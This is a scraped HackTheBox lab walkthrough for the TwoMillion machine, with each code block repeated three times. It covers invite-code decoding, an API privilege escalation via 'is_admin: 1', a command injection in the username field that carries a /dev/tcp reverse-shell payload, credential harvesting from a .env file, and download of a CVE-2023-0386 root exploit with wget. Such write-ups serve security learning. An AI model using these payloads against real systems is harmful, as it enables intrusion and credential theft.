Tools: HackTheBox - TwoMillion: A Complete Walkthrough (2026)

Tools: HackTheBox - TwoMillion: A Complete Walkthrough (2026)

Overview

1. Reconnaissance

2. Enumeration

3. Getting the Invite Code

3.1 Deobfuscating the JavaScript

3.2 Generating the Code

4. API Enumeration & Privilege Escalation (Web)

4.1 Escalating to Admin

5. Remote Code Execution via Command Injection

6. Lateral Movement: www-data → admin

7. Privilege Escalation: CVE-2023-0386

7.1 Finding the Lead

7.2 Confirming Kernel Version

7.3 Exploitation

8. Attack Chain Summary

9. Key Vulnerabilities TwoMillion is a nostalgic HackTheBox machine themed around the old HTB platform. The attack chain involves reverse-engineering obfuscated JavaScript to discover invite code logic, abusing a broken access control vulnerability in the API to escalate privileges to admin, and exploiting an unsanitized username parameter to gain Remote Code Execution. Privilege escalation to root leverages CVE-2023-0386, an OverlayFS/FUSE kernel vulnerability. Difficulty: Easy | OS: Linux | Tags: Web, API Abuse, Command Injection, Kernel Exploit The HTTP server redirects to http://2million.htb/. Add it to /etc/hosts: The site requires an invite code to register. Directory fuzzing with feroxbuster reveals: The script uses a common eval-based packing technique. After deobfuscation, two functions are revealed: Decode the Base64 result: Use this code to register an account at /invite. After logging in, enumerate the full API route list: Admin endpoints discovered: Response confirms admin escalation: This is a classic Broken Access Control vulnerability — the API trusts user-supplied input to set privilege levels with no server-side authorization check. The admin VPN generation endpoint passes the username parameter to a system command without sanitization: We have RCE. Set up a listener and send a reverse shell: Shell received as www-data. Enumerating the web root reveals a .env file with hardcoded database credentials: Testing password reuse over SSH: User flag obtained at ~/user.txt Logging in via SSH shows an interesting banner: The mail at /var/mail/admin contains a message warning about a serious kernel vulnerability in OverlayFS / FUSE. Kernel 5.15.70 falls within the vulnerable range for CVE-2023-0386 — an OverlayFS privilege escalation that allows creating SUID binaries through overlay filesystem manipulation. Compile the PoC on the attacker machine: Serve it to the target: Root flag obtained at /root/root.txt 1. Client-Side Invite Logic — Invite generation logic exposed in obfuscated JavaScript. 2. Broken Access Control — Users can escalate privileges by supplying is_admin: 1 in API requests. 3. Command Injection — Unsanitized username parameter passed directly to a system command. 4. Hardcoded Credentials — .env file exposes database credentials in the web root. 5. Password Reuse — Same credentials used for both the database and SSH. 6. CVE-2023-0386 — Unpatched kernel vulnerable to OverlayFS privilege escalation. Thanks for reading! If you found this helpful, consider following for more HTB writeups. Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Code Block

Copy

nmap -sC -sV -A <MACHINE-IP> nmap -sC -sV -A <MACHINE-IP> nmap -sC -sV -A <MACHINE-IP> echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts feroxbuster -u http://2million.htb feroxbuster -u http://2million.htb feroxbuster -u http://2million.htb curl -X GET http://2million.htb/js/inviteapi.min.js curl -X GET http://2million.htb/js/inviteapi.min.js curl -X GET http://2million.htb/js/inviteapi.min.js curl -X POST http://2million.htb/api/v1/invite/how/to/generate curl -X POST http://2million.htb/api/v1/invite/how/to/generate curl -X POST http://2million.htb/api/v1/invite/how/to/generate { "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "enctype": "ROT13" } } { "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "enctype": "ROT13" } } { "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "enctype": "ROT13" } } echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m' # In order to generate the invite code, make a POST request to /api/v1/invite/generate echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m' # In order to generate the invite code, make a POST request to /api/v1/invite/generate echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m' # In order to generate the invite code, make a POST request to /api/v1/invite/generate curl -X POST http://2million.htb/api/v1/invite/generate | jq curl -X POST http://2million.htb/api/v1/invite/generate | jq curl -X POST http://2million.htb/api/v1/invite/generate | jq echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d # UKLXC-6NSN0-T915N-UV8YA echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d # UKLXC-6NSN0-T915N-UV8YA echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d # UKLXC-6NSN0-T915N-UV8YA curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq curl -X PUT http://2million.htb/api/v1/admin/settings/update \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ -d '{"email": "[email protected]", "is_admin": 1}' curl -X PUT http://2million.htb/api/v1/admin/settings/update \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ -d '{"email": "[email protected]", "is_admin": 1}' curl -X PUT http://2million.htb/api/v1/admin/settings/update \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ -d '{"email": "[email protected]", "is_admin": 1}' {"id": 13, "username": "john", "is_admin": 1} {"id": 13, "username": "john", "is_admin": 1} {"id": 13, "username": "john", "is_admin": 1} curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data '{"username": "john;whoami;"}' # www-data curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data '{"username": "john;whoami;"}' # www-data curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data '{"username": "john;whoami;"}' # www-data # Listener pwncat-cs -lp 4444 # Payload curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}" # Listener pwncat-cs -lp 4444 # Payload curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}" # Listener pwncat-cs -lp 4444 # Payload curl -X POST http://2million.htb/api/v1/admin/vpn/generate \ --cookie "PHPSESSID=<your-session>" \ --header "Content-Type: application/json" \ --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}" cat /var/www/html/.env cat /var/www/html/.env cat /var/www/html/.env DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123 DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123 DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123 ssh [email protected] # Password: SuperDuperPass123 ssh [email protected] # Password: SuperDuperPass123 ssh [email protected] # Password: SuperDuperPass123 You have mail. You have mail. You have mail. uname -a # Linux 2million 5.15.70-051570-generic #202209231339 ... uname -a # Linux 2million 5.15.70-051570-generic #202209231339 ... uname -a # Linux 2million 5.15.70-051570-generic #202209231339 ... apt install libfuse-dev gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl apt install libfuse-dev gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl apt install libfuse-dev gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl python3 -m http.server 8000 python3 -m http.server 8000 python3 -m http.server 8000 wget http://<ATTACKER-IP>:8000/poc chmod +x poc ./poc wget http://<ATTACKER-IP>:8000/poc chmod +x poc ./poc wget http://<ATTACKER-IP>:8000/poc chmod +x poc ./poc root@2million:/tmp# whoami root root@2million:/tmp# whoami root root@2million:/tmp# whoami root - Port 22 — SSH (OpenSSH 8.9) - Port 80 — HTTP (nginx) - /invite — invite code entry page - /js/inviteapi.min.js — client-side invite logic - /api/v1/user/login and /api/v1/user/register — API endpoints - makeInviteCode() — POSTs to /api/v1/invite/how/to/generate - verifyInviteCode(code) — POSTs to /api/v1/invite/verify - GET /api/v1/admin/auth — Check if current user is admin - PUT /api/v1/admin/settings/update — Update user settings - POST /api/v1/admin/vpn/generate — Generate VPN for any user